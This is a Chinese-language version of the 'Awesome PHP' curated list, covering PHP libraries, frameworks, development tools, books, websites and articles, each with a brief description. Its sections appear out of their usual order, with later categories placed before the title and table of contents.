Twilio - Twilio官方PHP REST API
Mailgun - Mailgun官方PHP REST API
扩展 Extensions
帮助构建PHP扩展的库
Zephir - 用于开发PHP扩展,且介于PHP和C++之间的编译语言
PHP CPP - 一个开发PHP扩展的C++库
杂项 Miscellaneous
不在上面分类中的有用库和工具
Spork - 一个处理forking的库
JSON Lint - 一个JSON lint工具
JSONPCallbackValidator - 验证JSONP回调的库
Pagerfanta - 一个分页库
LiteCQRS - 一个CQRS(命令查询责任分离)库
Chief - 一个命令总线库
Sslurp - 一个使得SSL处理减少的库
Metrics - 一个简单的度量API库
sabre/vobject - 一个解析VCard和iCalendar对象的库
Annotations - 一个注释库(Doctrine的一部分)
Whoops - 一个不错的错误处理库
LadyBug - 一个dumper库
Symfony VarDumper - 一个dumper库(SF2)
Procrastinator - 一个运行耗时任务的库
SuperClosure - 一个允许闭包序列化的库
Jumper - 一个远程服务执行库
Underscore - 一个Undersccore JS库的PHP实现
PHP PassBook - 一个iOS PassBook PHP库
PHP Expression - 一个PHP表达式语言
RMT - 一个编写版本和发布软件的库
Opengraph - 一个开放图库
Essence -一个提取web媒体的库
Embera - 一个Oembed消费库
Graphviz - 一个图形库
Flux - 一个正则表达式构建库
PHPCR - 一个Java内容存储库(JCR)的PHP实现
ClassPreloader - 一个优化自动加载的库
PHPStack - 一个PHP编写的TCP/IP栈概念
Nmap - 一个Nmap PHP包装器
Lambda PHP - 一个PHP中的Lambda计算解析器
Country List - 所有带有名称和ISO 3166-1编码的国家列表
PHP-GPIO - 一个用于Raspberry PI的GPIO pin的库
print_o - 一个对象图的可视化器
Alias - 一个类别名库
Cake Utility - 工具类如Inflector,字符串,哈希,安全和XML (CP)
Slimdump - 一个简单的MySQL dumper工具
Prooph Service Bus - 轻量级的消息总线,支持CQRS和微服务
软件 Software
创建一个开发环境的软件
PHP安装 PHP Installation
在你的电脑上帮助安装和管理PHP的工具
HomeBrew - 一个OSX包管理器
HomeBrew PHP - 一个HomeBrew的PHP通道
PHP OSX - 一个OSX下的PHP安装器
PHP Brew - 一个PHP版本管理和安装器
PHP Env - 另一个PHP版本管理器
PHP Switch - 另一个PHP版本管理器
PHP Build - 另一个PHP版本安装器
VirtPHP - 一个创建和管理独立PHP环境的工具
开发环境 Development Environment
创建沙盒开发环境的软件和工具
Vagrant - 一个便携的开发环境工具
Ansible - 一个非常简单的编制框架
Puppet - 一个服务器自动化框架和应用
PuPHPet - 一个构建PHP开发虚拟机的web工具
Protobox - 另一个构建PHP开发虚拟机的web工具
Phansible - 一个用Ansible构建PHP开发虚拟机的web工具
虚拟机 Virtual Machines
相关的PHP虚拟机
HHVM - Facebook出品的PHP虚拟机,Runtime和JIT
HippyVM - 另一个PHP虚拟机
Hack - 一个PHP进行无缝操作的HHVM编程语言
集成开发环境(IDE) Integrated Development Environment
支持PHP的集成开发环境
Netbeans - 一个支持PHP和HTML5的IDE
Eclipse for PHP Developers - 一个基于Eclipse平台的PHP IDE
PhpStorm - 一个商业PHP IDE
Web应用 Web Applications
基于Web的应用和工具
3V4L - 一个在线的PHP和HHVM shell
DBV - 一个数据库版本控制应用
PHP Queue - A一个管理后端队列的应用
MailCatcher - 一个抓取和查看邮件的web工具
Cachet - 开源状态页面系统
phpRedisAdmin - 一个用于管理Redis数据库的简单web界面
phpPgAdmin - 一个PostgreSQL的web管理工具
phpMyAdmin - 一个MySQL/MariaDB的web界面
Adminer - 一个数据库管理工具
Grav - 一个现代的flat-file的CMS
基础架构 Infrastructure
提供PHP应用和服务的基础架构
appserver.io - 一个用PHP写的多线程的PHP应用服务器
php-pm - 一个PHP应用的进程管理器、修改器和负载平衡器
资源 Resources
各种提高你的PHP开发技能和知识的资源,比如书籍,网站,文章
PHP网站 PHP Websites
PHP相关的有用的网站
PHP The Right Way - 一个PHP最佳实践的快速指引手册
PHP Best Practices - 一个PHP最佳实践指南
PHP Weekly - 一个PHP新闻周刊
Securing PHP - 一个关于PHP安全和库的建议的简报
PHP Security - 一个PHP安全指南
PHP FIG - PHP框架交互组
PHP UG - 一个帮助用户定位最近的PHP用户组(UG)的网站
Seven PHP - 一个PHP社区成员采访的网站
Nomad PHP - 一个在线PHP学习资源
PHP School - 学习PHP的开源资源
PHP Mentoring - 点对点PHP导师组织
PHPTrends - 一个快速增长的PHP类库的概述
PHP Versions - 哪些版本的PHP可以用在哪几种流行的Web主机上的列表
其他网站 Other Websites
web开发相关的有用网站
The Open Web Application Security Project (OWASP) - 一个开放软件安全社区
WebSec IO - 一个web安全社区资源
Semantic Versioning - 一个解析语义版本的网站
Atlassian Git Tutorials - 一个Git教程系列
Hg Init - 一个Mercurial教程系列
Servers for Hackers - 一个关于服务器管理的新闻通讯
PHP书籍 PHP Books
PHP相关的非常好的书籍
PHP 7 Upgrade Guide - 一本Colin O'Dell的包含所有PHP 7功能和改变的书
PHP Pandas - 一本Dayle Rees关于如何学习写PHP的书
Scaling PHP Applications - 一本Steve Corona关于扩展PHP应用程序的电子书
The Grumpy Programmer's Guide to Building Testable PHP Applications - 一本Chris Hartjes关于构建PHP应用程序测试的书
Grumpy PHPUnit - 一本Chris Hartjes关于使用PHPUnit进行单元测试的书
Mastering Object-Orientated PHP - 一本Brandon Savage关于PHP面向对象的书
Signaling PHP - 一本Cal Evans关于在CLI脚本捕获PCNTL信号的书
Securing PHP: Core Concepts - 一本Chris Cornutt关于PHP常见安全条款和实践的书
Modernising Legacy Applications in PHP - 一本Paul M.Jones关于遗留PHP应用进行现代化的书
Modern PHP New Features and Good Practices - 一本Josh Lockhart关于新的PHP功能和最佳做法的书
Functional Programming in PHP - 这本书将告诉你如何利用PHP5.3+的新功能的认识函数式编程的原则
其他书籍 Other Books
与一般计算和web开发相关的书
The Linux Command Line - William Shotts关于Linux命令行的一本书
Understanding Computation - Tom Stuart关于计算理论的一本书
The Tangled Web — Securing Web Applications - Michal Zalewski关于web应用安全的一本书
Elasticsearch: The Definitive Guide - Clinton Cormley和Zachary Tong编写的与Elasticsearch工作的一本指南
Eloquent JavaScript - Marijin Haverbeke关于JavaScript编程的一本书
Vagrant Cookbook - Erika Heidi关于创建 Vagrant环境的一本书
Pro Git - Scott Chacon和Ben Straub关于Git的一本书
Head First Design Patterns - 解说软件设计模式的一本书
PHP视频 PHP Videos
PHP相关的非常不错的视频
Taking PHP Seriously - 来自Facebook Keith Adams 讲述PHP优势
PHP Town Hall - 一个随意的Ben Edmunds和Phil Sturgeon的PHP播客
Programming with Anthony - Anthony Ferrara的视频系列
PHP UK Conference - 一个PHP英国会议的视频集合
PHP阅读 PHP Reading
PHP相关的阅读资料
Create Your Own PHP Framework - 一部Fabien Potencier的关于如何创建你自己的PHP框架的系列文章
Seven Ways to Screw Up BCrypt - 一篇关于纠正BCrypt实现的文章
Preventing CSRF Attacks - 一篇阻止CSRF攻击的文章
Don't Worry About BREACH - 一篇关于BREACH攻击和CSRF令牌的文章
On PHP 5.3, Lambda Functions and Closures - 一篇关于lambda函数和闭包的文章
Use Env - 一篇关于使用unix环境帮助的文章
Composer Primer - Composer初级使用
Composer Versioning - 一篇关于Composer版本的文章
Composer Stability Flags - 一篇关于Composer稳定性标志的文章
PHP Sucks! But I Like It! - 一篇关于PHP利弊的文章
PHP Is Much Better Than You Think - 一篇关于PHP语言和生态圈的文章
PHP内核阅读 PHP Internals Reading
阅读PHP内核或性能相关的资料
PHP RFCs - PHP RFCs主页(请求注解)
PHP Internals Book - 一本由三名核心开发编写的关于PHP内核的在线书
Print vs Echo, Which One is Faster? - 一篇关于打印和echo性能的文章
The PHP Ternary Operator. Fast or Not? - 一篇关于三元操作性能的文章
Disproving the Single Quotes Myth - 一篇关于单,双引号字符串性能的文章
You're Being Lied To - 一篇关于内核ZVALs的文章
How Long is a Piece of String - 一篇关于字符串原理的文章
Understanding OpCodes - 一篇关于opcodes的文章
How Foreach Works - StackOverflow关于foreach回答的详情
When Does Foreach Copy? - 一篇关于foreach原理的文章
How Big Are PHP Arrays (And Values) Really? - 一篇关于数组原理的文章
Why Objects (Usually) Use Less Memory Than Arrays - 一篇关于对象和数组原理的文章
PHP Evaluation Order - 一篇关于PHP评估顺序的文章
开发人员的PHP源代码: 1 2 3 4 - 关于PHP源代码的系列
垃圾收集: 1 2 3 - 关于PHP垃圾收集原理的系列
PHP杂志 PHP Magazines
PHP 资源备忘
Awesome PHP
一个PHP资源列表,内容包括:库、框架、模板、安全、代码分析、日志、第三方库、配置工具、Web 工具、书籍、电子书、经典博文等等
贡献
详细内容请查看贡献 和 代码管理.
目录
Awesome PHP
依赖管理 Dependency Management
其他的依赖管理 Dependency Management Extras
框架 Frameworks
其他框架 Framework Extras
框架组件 Components
微型框架 Micro Frameworks
其他微型框架 Micro Framework Extras
路由 Routers
模板 Templating
静态站点生成器 Static Site Generators
超文本传输协议 HTTP
爬虫 Scraping
中间件 Middlewares
网址 URL
电子邮件 Email
文件 Files
流 Streams
依赖注入 Dependency Injection
图像 Imagery
测试 Testing
持续集成 Continuous Integration
文档 Documentation
安全 Security
密码 Passwords
代码分析 Code Analysis
Architectural Architectural
调试和分析 Debugging and Profiling
构建工具 Build Tools
任务运行器 Task Runners
导航 Navigation
资源管理 Asset Management
地理位置 Geolocation
日期和时间 Date and Time
事件 Event
日志 Logging
电子商务 E-commerce
PDF PDF
Office Office
数据库 Database
迁移 Migrations
NoSQL NoSQL
队列 Queue
搜索 Search
命令行 Command Line
身份验证和授权 Authentication and Authorization
标记 Markup
字符串 Strings
数字 Numbers
过滤和验证 Filtering and Validation
API API
缓存 Caching
数据结构和存储 Data Structure and Storage
通知 Notifications
部署 Deployment
国际化和本地化 Internationalisation and Localisation
第三方API Third Party APIs
扩展 Extensions
杂项 Miscellaneous
软件 Software
PHP安装 PHP Installation
开发环境 Development Environment
虚拟机 Virtual Machines
集成开发环境(IDE) Integrated Development Environment
Web应用 Web Applications
基础架构 Infrastructure
资源 Resources
PHP网站 PHP Websites
其他网站 Other Websites
PHP书籍 PHP Books
其他书籍 Other Books
PHP视频 PHP Videos
PHP阅读 PHP Reading
PHP内核阅读 PHP Internals Reading
PHP杂志 PHP Magazines
贡献
依赖管理 Dependency Management
依赖和包管理库
Composer Installers - 一个多框架Composer库安装器
Composer/Packagist - 一个包和依赖管理器
Melody - 一个用于构建Composer脚本文件的工具
Pickle - 一个PHP扩展安装器
其他的依赖管理 Dependency Management Extras
其他的相关依赖管理
Composed - 一个在运行时解析你项目Composer环境的库
Composer Checker - 一个校验Composer配置的工具
Composer Merge Plugin - 一个用于合并多个composer.json文件的Composer插件
Composition - 一个在运行时检查Composer环境的库
NameSpacer - 一个转化下划线到命名空间的库
Patch Installer - 一个使用Composer安装补丁的库
Prestissimo - 一个开启并行安装进程的Composer插件
Satis - 一个静态Composer存储库的生成器
Toran Proxy - 一个静态Composer存储库和代理
框架 Frameworks
Web开发框架
Aura PHP - 一个独立的组件框架
CakePHP - 一个快速应用程序开发框架 (CP)
Laravel 5 - 另一个PHP框架 (L5)
Nette - 另一个由个体组件组成的框架
Phalcon - 通过C扩展实现的框架
PPI Framework 2 - 一个互操作性框架
Symfony 2 - 一个独立组件组成的框架 (SF2)
Yii2 - 另一个PHP框架
Zend Framework 2 - 另一个由独立组件组成的框架 (ZF2)
Radar - 一个基于PHP的Action-Domain-Responder实现
Ice - 另一个通过C扩展实现的简单快速的PHP框架
其他框架 Framework Extras
其他Web开发框架
CakePHP CRUD - CakePHP的快速应用程序(RAD)插件
Knp RAD Bundle - Symfony 2的快速应用程序(RAD)包
Symfony CMF - 一个创建自定义CMS的内容管理框架
框架组件 Components
来自web开发框架的独立组件
CakePHP Plugins - CakePHP插件的目录
Hoa Project - 另一个PHP组件包
League of Extraordinary Packages - 一个PHP软件开发组
Symfony2 Components - Symfony 2组件
Zend Framework 2 Components - Zend Framework 2组件
微型框架 Micro Frameworks
微型框架和路由
Bullet PHP - 用于构建REST APIs的微型框架
Lumen - 一个Laravel的微型框架
Proton - 一个StackPHP兼容的微型框架
Silex - 基于Symfony2组件的微型框架
Slim - 另一个简单的微型框架
其他微型框架 Micro Framework Extras
其他相关的微型框架和路由
Silex Skeleton - Silex的项目架构
Silex Web Profiler - 一个Silex web的调试工具
Slim Skeleton - Slim架构
Slim View - Slim自定义视图的集合
路由 Routers
处理应用路由的库
Fast Route - 一个快速路由的库
Klein - 一个灵活的路由的库
Pux - 另一个快速路由的库
Route - 一个基于Fast Route的路由的库
模板 Templating
模板化和词法分析的库和工具
Foil - 另一个原生PHP模板库
Lex - 一个轻量级模板解析器
MtHaml - 一个HAML模板语言的PHP实现
Mustache - 一个Mustache模板语言的PHP实现
Phly Mustache - 另一个Mustache模板语言的PHP实现
PHPTAL - 一个TAL模板语言的PHP实现
Plates - 一个原生PHP模板库
Smarty - 一个模板引擎
Twig - 一个全面的模板语言
Tale Jade - Jade模版语言的PHP实现
静态站点生成器 Static Site Generators
用来生成web页面的预处理内容的工具
Couscous - 一个将Markdown转化为漂亮的网站的工具
Phrozn - 另一个转换Textile,Markdown和Twig为HTML的工具
Sculpin - 转换Markdown和Twig为静态HTML的工具
Spress - 一个能够将Markdown和Twig转化为HTML的可扩展工具
超文本传输协议 HTTP
用于HTTP的库
Buzz - 另一个HTTP客户端
Guzzle - 一个全面的HTTP客户端
HTTPFul - 一个链式HTTP库
PHP VCR - 一个录制和重放HTTP请求的库
Requests - 一个简单的HTTP库
Retrofit - 一个能轻松创建REST API客户端的库
zend-diactoros - PSR-7 HTTP消息实现
爬虫 Scraping
用于网站爬取的库
Embed - 一个从web服务或网页中提取的信息的工具
Goutte - 一个简单的web爬取器
PHP Spider - 一个可配置和可扩展的PHP web爬虫
中间件 Middlewares
使用中间件构建应用程序的库
Expressive - 基于PSR-7的Zend中间件
PSR7-Middlewares - 灵感来源于方便的中间件
Relay - 一个PHP 5.5 PSR-7的中间件调度器
Slim Middleware - 一个用于Slim的自定义的中间件的集合
Stack - 一个用于Silex/Symfony的可堆叠的中间件的库
zend-stratigility - 基于PHP PSR-7之上的中间件之上
网址 URL
解析URL的库
PHP Domain Parser - 一个本地前缀解析库
Purl - 一个URL处理库
sabre/uri - 一个URI操作库
Uri - 另一个URL处理库
电子邮件 Email
发送和解析邮件的库
CssToInlineStyles - 一个在邮件模板中的内联CSS库
Email Reply Parser - 一个邮件回复解析的库
Email Validator - 一个较小的电子邮件验证库
Fetch - 一个IMAP库
Mautic - 邮件营销自动化
PHPMailer - 另一个邮件解决方案
Stampie - 一个邮件服务库,类似于SendGrid,PostMark,MailGun和Mandrill.
SwiftMailer - 一个邮件解决方案
文件 Files
文件处理和MIME类型检测的库
Apache MIME Types - 一个解析Apache MIME类型的库
Canal - 一个检测互联网媒体类型的库
CSV - 一个CSV数据处理库
Ferret - 一个MIME检测库
Flysystem - 另一个文件系统抽象层
Gaufrette - 一个文件系统抽象层
Hoa Mime - 另一个MIME检测库
Lurker - 一个资源跟踪库
PHP FFmpeg - 一个用于FFmpeg视频包装的库
流 Streams
处理流的库
Streamer - 一个简单的面向对象的流包装库
依赖注入 Dependency Injection
实现依赖注入设计模式的库
Acclimate - 一个依赖注入容器和服务定位的通用接口
Auryn - 一个递归的依赖注入容器
Container - 另一个可伸缩的依赖注入容器
PHP-DI - 一个支持自动装配和PHP配置的依赖注入容器
Pimple - 一个小的依赖注入容器
Symfony DI - 一个依赖注入容器组件 (SF2)
图像 Imagery
处理图像的库
Color Extractor - 一个从图像中提取颜色的库
GIF Creator - 一个通过多张图片创建GIF动画的库
GIF Frame Extractor - 一个提取GIF动画帧信息的库
Glide - 一个按需处理图像的库
Image Hash - 一个用于生成图像哈希感知的库
Image Optimizer - 一个优化图像的库
Image With Text - 一个在图像中嵌入文本的库
Imagine - 一个图像处理库
Intervention Image - 另一个图像处理库
PHP Image Workshop - 另一个图像处理库
测试 Testing
测试代码和生成测试数据的库
Alice - 富有表现力的一代库
AspectMock - 一个PHPUnit/Codeception的模拟框架。
Atoum - 一个简单的测试库
Behat - 一个行为驱动开发(BDD)测试框架
Codeception - 一个全栈测试框架
DBUnit - 一个PHPUnit的数据库测试库
Faker - 一个伪数据生成库
HTTP Mock - 一个在单元测试模拟HTTP请求的库
Kahlan - 全栈Unit/BDD测试框架,内置stub,mock和代码覆盖率的支持
Mink - Web验收测试
Mockery - 一个用于测试的模拟对象的库
ParaTest - 一个PHPUnit的并行测试库
Peridot - 一个事件驱动开发的测试框架
Phake - 另一个用于测试的模拟对象的库
Pho - 另一个行为驱动开发测试框架
PHPSpec - 一个基于功能点设计的单元测试库
PHPT - 一个使用PHP本身的测试工具
PHPUnit - 一个单元测试框架
Prophecy - 一个可选度很高的模拟框架
Samsui - 另一个伪数据生成库
VFS Stream - 一个用于测试的虚拟文件系统流的包装器
VFS - 另一个用于测试虚拟的文件系统
持续集成 Continuous Integration
持续集成的库和应用
GitlabCi - 使用GitLab CI测试、构建、部署你的代码,像TravisCI
Jenkins - 一个PHP支持的持续集成平台
JoliCi - 一个用PHP编写的由Docker支持的持续集成的客户端
PHPCI - 一个PHP的开源的持续集成平台
SemaphoreCI - 一个开放源码和私人项目的持续集成平台
Shippable - 一个基于开源和私人项目持续集成平台的docker
Sismo - 一个持续测试的服务库
Travis CI - 一个持续集成平台
Wercker - 一个持续集成平台
文档 Documentation
生成项目文档的库
APIGen - 另一个API文档生成器
daux.io - 一个使用Markdown文件的文档生成器
PHP Documentor 2 - 一个API文档生成器
phpDox - 一个PHP项目的文档生成器(不限于API文档)
Sami - 一个API文档生成器
安全 Security
生成安全的随机数,加密数据,扫描漏洞的库
Halite - 一个简单的使用libsodium的加密库
HTML Purifier - 一个兼容标准的HTML过滤器
IniScan - 一个扫描PHP INI文件安全的库
Optimus - 基于Knuth乘法散列方法的身份混淆工具
PHP Encryption - 一个安全的PHP加密库
PHP IDS - 一个结构化的PHP安全层
PHP SSH - 一个试验的面向对象的SSH包装库
PHPSecLib - 一个纯PHP安全通信库
RandomLib - 一个生成随机数和字符串的库
SecurityMultiTool - 一个PHP安全库
SensioLabs Security Check - 一个为检查Composer依赖提供安全建议的web工具
TCrypto - 一个简单的键值加密存储库
True Random - 使用www.random.org生成随机数的库
VAddy - 一个持续安全的web应用测试平台
Zed - 一个集成的web应用渗透测试工具
密码 Passwords
处理和存储密码的库和工具
GenPhrase - 一个随机生成安全密码哈希的库
Password Compat - 一个新的PHP5.5密码函数的兼容库
Password Policy - 一个PHP和JavaScript的密码策略库
Password Validator - 一个校验和升级密码哈希的库
Password-Generator - 一个生成随机密码的PHP库
PHP Password Lib - 一个生成和校验密码的库
phpass - 一个便携式的密码哈希框架
Zxcvbn PHP - 一个基于Zxcvbn JS的现实的PHP密码强度估计库
代码分析 Code Analysis
分析,解析和处理代码库的库和工具
Athletic - 一个基于注释的基准检测库
Code Climate - 一个自动代码审查工具
Dissect - 一个词法和语法分析的工具集合
Exakat - 一个PHP的静态分析引擎
GrumPHP - 一个用来保护代码质量的Composer插件
Mondrian - 使用图论的代码分析工具
PHP Analyser - 一个分析PHP代码查找缺陷和错误的库
PHP Code Sniffer - 一个检测PHP、CSS和JS代码标准冲突的库
PHP CS Fixer - 一个编码标准库
PHP Manipulator - 一个分析和修改PHP源代码的库
PHP Mess Detector - 一个扫描代码缺陷,次优代码,未使用的参数等等的库。
PHP Metrics - 一个静态测量库
PHP Parser - 一个PHP编写的PHP解析器
PHP Refactoring Browser - 一个重构PHP代码的命令行工具集
PHP Semantic Versioning Checker - 一个比较两个源集和确定适当的应用语义版本的命令行实用程序
phan - 一个基于PHP 7+和php-ast扩展的静态分析器
PHPCheckstyle - 一个帮助遵守特定的编码惯例的工具
PHPCPD - 一个检测复制和粘贴代码的库
PhpDependencyAnalysis - 一个创建可定制依赖图的工具
PHPLOC - 一个快速测量PHP项目大小的工具
PHPQA - 一个用于运行质量保证工具的工具(phploc, phpcpd, phpcs, pdepend, phpmd, phpmetrics).
PHPPHP - 一个PHP实现的PHP虚拟机
PHPSandbox - 一个PHP沙盒环境
Qafoo Quality Analyzer - 一个可视化指标和源代码的工具
Scrutinizer - 一个审查PHP代码的web工具
UBench - 一个简单的微型基准检测库
Architectural Architectural
相关的设计模式库,组织代码编程的方法和途径
Compose - 一个功能组合库
Design Patterns PHP - 一个使用PHP实现的设计模式存储库
Finite - 一个简单的PHP有限状态机
Functional PHP - 一个函数式编程库
Galapagos - 语言转换进化
Iter - 一个使用生成器提供迭代原语的库
Monad PHP - 一个简单Monad库
Patchwork - 一个重新定义用户的函数库
PHP Option - 一个可选的类型库
Pipeline - 一个管道模式的实现
Ruler - 一个简单的无状态的生产环境规则引擎
RulerZ - 一个强大的规则引擎和规范模式的实现
调试和分析 Debugging and Profiling
调试和分析代码的库和工具
APM - 一个收集SQLite/MySQL/StatsD错误信息和统计信息的监控扩展
Barbushin PHP Console - 另一个使用Google Chrome的web调试控制台
Blackfire.io - 一个低开销的代码分析器
Kint - 一个调试和分析工具
PHP Console - 一个web调试控制台
PHP Debug Bar - 一个调试工具栏
PHPBench - 一个基准测试框架
PHPDBG - 一个交互的PHP调试器
Tideways.io - Monitoring and profiling tool
Tracy - A一个简单的错误检测,写日志和时间测量库
xDebug - 一个调试和分析PHP的工具
XHProf - 一个最初由Facebook开发的分析工具
Z-Ray - 一个调试和配置Zend服务器的工具
构建工具 Build Tools
项目构建和自动化工具
Bob - 一个简单的项目自动化工具
Box - 一个构建PHAR文件的工具
Phake - 一个PHP克隆库
Phing - 一个灵感来自于Apache Ant的PHP项目构建系统
任务运行器 Task Runners
自动运行任务的库
Bldr - 一个构建在Symfony组件上的PHP任务运行器
Jobby - 一个没有修改crontab的PHP定时任务管理器
Robo - 一个面向对象配置的PHP任务运行器
Task - 一个灵感来源于Grunt和Gulp的纯PHP任务运行器
导航 Navigation
构建导航结构的工具
Cartographer - 一个站点地图生成库
KnpMenu - 一个菜单库
资源管理 Asset Management
管理,压缩和最小化web站点资源的工具
Assetic - 一个资源管理的管道库
JShrink - 一个JavaScript的最小化库
Munee - 一个资源优化库
Pipe - 另一个资源管理的管道库
Puli - 一个检测资源绝对路径的库
地理位置 Geolocation
地理编码地址和使用纬度经度的库
GeoCoder - 一个地理编码库
GeoJSON - 一个GeoJSON的实现
GeoTools - 一个地理工具相关的库
PHPGeo - 一个简单的地理库
日期和时间 Date and Time
处理日期和时间的库
CalendR - 一个日历管理库
Carbon - 一个简单的日期时间API扩展
ExpressiveDate - 另一个日期时间API扩展
Moment.php - 灵感来源于Moment.js的PHP DateTime处理库,支持国际化
事件 Event
时间驱动或实现非阻塞事件循环的库
Amp - 一个事件驱动的不阻塞的I/O库
Broadway - 一个事件源和CQRS(命令查询责任分离)库
Cake Event - 一个事件调度的库 (CP)
Elephant.io - 另一个web socket库
Evenement - 一个事件调度的库
Event - 一个专注于域名事件的库
Hoa EventSource - 一个事件源库
Hoa WebSocket - 另一个web socket库
Icicle - 一个支持协同,非阻塞I/O,多线程的异步库
Prooph Event Store - 一个持久化事件消息的事件源组件
Ratchet - 一个web socket库
React - 一个事件驱动的非阻塞I/O库.
Rx.PHP - 一个reactive扩展库
Workerman - 一个事件驱动的不阻塞的I/O库
日志 Logging
生成和处理日志文件的库
Analog - 一个基于闭包的微型日志包
KLogger - 一个易用的兼容PSR-3的日志类
Monolog - 一个全面的日志工具
电子商务 E-commerce
处理支付和构建在线电子商务商店的库和应用
Money - 一个Fowler金钱模式的PHP实现
OmniPay - 一个框架混合了多网关支付处理的库
Payum - 一个支付抽象库
Shopware - 一个可高度定制的电子商务软件
Swap - 一个汇率库
Sylius - 一个开源的电子商务解决方案
PDF PDF
处理PDF文件的库和软件
Dompdf - 一个将HTML转换为PDF的工具
PHPPdf - 一个将XML文件转换为PDF和图片的库
Snappy - 一个PDF和图像生成器库
WKHTMLToPDF - 一个将HTML转换为PDF的工具
Office Office
Libraries for working with office suite documents.
ExcelAnt - 一个操作Excel文档的库
PHPExcel - 一个处理Excel文档的库
PHPPowerPoint - 一个处理PPT文档的库
PHPWord - 一个处理Word文档的库
数据库 Database
使用对象关系映射(ORM)或数据映射技术的数据库交互的库
Baum - 一个Eloquent的嵌套集实现
Cake ORM - 对象关系映射工具,利用DataMapper模式实现 (CP)
Doctrine Extensions - 一个Doctrine行为扩展的集合
Doctrine - 一个全面的DBAL和ORM
Eloquent - 一个简单的ORM(L5)
LazyRecord - 一个简单、可扩展、高性能的ORM
Pomm - 一个PostgreSQL对象模型管理器
Propel - 一个快速的ORM,迁移库和查询构架器
ProxyManager - 一个为数据映射生成代理对象的工具集
RedBean - 一个轻量级,低配置的ORM
Spot2 - 一个MySQL的ORM映射器
迁移 Migrations
帮助管理数据库模式和迁移的库
Doctrine Migrations - 一个Doctrine的迁移库
Migrations - 一个迁移管理库
Phinx - 另一个数据库迁移的管理库
PHPMig - 另一个迁移管理库
Ruckusing - 基于PHP下ActiveRecord的数据库迁移,支持MySQL, Postgres, SQLite
NoSQL NoSQL
处理NoSQL后端的库
Monga - 一个MongoDB抽象库
MongoQB - 一个MongoDB查询构建库
PHPMongo - 一个MongoDB ORM.
Predis - 一个功能完整的Redis库
队列 Queue
处理事件和任务队列的库
Bernard - 一个多后端抽象库
BunnyPHP - 一个高性能的纯PHP AMQP(RabbitMQ)同步和异步(ReactPHP)库
Pheanstalk - 一个Beanstalkd客户端库
PHP AMQP - 一个纯PHP AMQP库
Tarantool Queue - PHP绑定Tarantool队列
Thumper - 一个RabbitMQ模式库
搜索 Search
在数据上索引和执行查询的库和软件
Elastica - ElasticSearch的客户端库
ElasticSearch PHP - ElasticSearch的官方客户端库
Solarium - Solr的客户端库
Sphinx Search - Sphinx搜索库,提供SphinxQL索引和搜索的功能
SphinxQL query builder - Sphinx搜索引擎的的查询库
命令行 Command Line
关于命令行工具的库
Boris - 一个微型PHP REPL
Cilex - 一个构建命令行工具的微型框架
CLI Menu - 一个构建CLI菜单的库
CLIFramework - 一个支持完全zsh/bash、子命令和选项约束的命令行框架,这也归功于phpbrew
CLImate - 一个输出带颜色的和特殊格式的命令行库
Commando - 另一个简单的命令行选择解析器
Cron Expression - 一个计算cron运行日期的库
GetOpt - 一个命令行选择解析器
GetOptionKit - 另一个命令行选择解析器
Hoa Console - 另一个命令行库
OptParse - 另一个命令行选择解析器
Pecan - 一个事件驱动和非阻塞的shell
PsySH - 另一个PHP REPL
ShellWrap - -一个简单的命令行包装库
Shunt - 一个在多台远程机器上并行运行命令行的库
身份验证和授权 Authentication and Authorization
实现身份验证和授权的库
Hawk - 一个Hawk HTTP身份认证库
HybridAuth - 一个开源的社交登陆库
Json Web Token - 使用JSON Tokens进行身份验证和信息传输
Lock - 一种实现访问控制列表(ACL)系统的库
OAuth 1.0 Client - 一个OAuth 1.0客户端的库
OAuth 2.0 Client - 一个OAuth 2.0客户端的库
OAuth2 Server - 另一个OAuth2服务器实现
OAuth2 Server - 另一个OAuth2服务器实现
Opauth - 一个多渠道的身份验证框架
PHP oAuthLib - 另一个OAuth库
Sentinel Social - 一个社交网络身份验证库
Sentinel - 一个混合的身份验证和授权的框架库
TwitterOAuth - 一个Twitter OAuth库
TwitterSDK - 一个完全测试的Twitter SDK
标记 Markup
处理标记的库
Cebe Markdown - 一个快速的可扩展的Markdown解析器
Ciconia - 另一个支持Github Markdown风格的Markdown解析器
CommonMark PHP - 一个对CommonMark spec全支持的Markdown解析器
Decoda - 一个轻量级标记解析库
Emoji - 一个把Unicode字符和名称转换为表情符号图片的库
HTML to Markdown - 将HTML转化为Markdown
HTML5 PHP - 一个HTML5解析和序列化库
Parsedown - 另一个Markdown解析器
PHP Markdown - 一个Markdown解析器
字符串 Strings
解析和处理字符串的库
Agent - 一个基于Mobiledetect的桌面/手机端user agent解析库
ANSI to HTML5 - 一个将ANSI转化为HTML5的库
Color Jizz - 处理和转换颜色的库
Device Detector - 另一个解析user agent字符串的库
Hoa String - 另一个UTF-8字符串库
Jieba-PHP - Python的jieba的PHP端口,自然语言处理的中文文本分词
Mobile-Detect - 一个用于检测移动设备的轻量级PHP类(包括平板电脑)
Patchwork UTF-8 - 一个处理UTF-8字符串的便携库
Slugify - 转换字符串到slug的库
SQL Formatter - 一个格式化SQL语句的库
Stringy - 一个多字节支持的字符串处理库
Text - 一个文本处理库
UA Parser - 一个解析user agent字符串的库
URLify - 一个Django中URLify.js的PHP版本
UUID - 生成UUIDs的库
数字 Numbers
处理数字的库
ByteUnits - 一个在二进制和度量系统中解析,格式化和转换字节单元的库
LibPhoneNumber for PHP - 一个Google电话号码处理的PHP实现库
Math - 一个处理巨大数字的库
Numbers PHP - 一个处理数字的库
PHP Conversion - 另一个用于度量单位间转换的库
PHP Units of Measure - 一个计量单位转换的库
过滤和验证 Filtering and Validation
过滤和验证数据的库
Cake Validation - 另一个验证库 (CP)
DMS Filter - 一个注释过滤库
Filterus - 一个简单的PHP过滤库
ISO-codes - 一个验证各种ISO和ZIP编码的库(IBAN, SWIFT/BIC, BBAN, VAT, SSN, UKNIN)
MetaYaml - 一个支持YAML,JSON和XML的模式验证库
Respect Validation - 一个简单的验证库
Upload - 一个处理文件上传和验证的库
Valitron - 另一个验证库
Volan - 另一个简单的验证库
API API
开发REST-ful API的库和web工具
API Platform - 暴露出REST API的项目,包含JSON-LD, Hydra格式
Apigility - 一个使用Zend Framework 2构建的API构建器
Drest - 一个将Doctrine实体暴露为REST资源节点的库
HAL - 一个超文本应用语言(HAL)构建库
Hateoas - 一个HOATEOAS REST web服务库
Negotiation - 一个内容协商库
Restler - 一个将PHP方法暴露为RESTful web API的轻量级框架
wsdl2phpgenerator - 一个从SOAP WSDL文件生成PHP类的工具
缓存 Caching
缓存数据的库
Alternative PHP Cache (APC) - 打开PHP操作码缓存
APIx Cache - 一个轻量级的PSR-6缓存
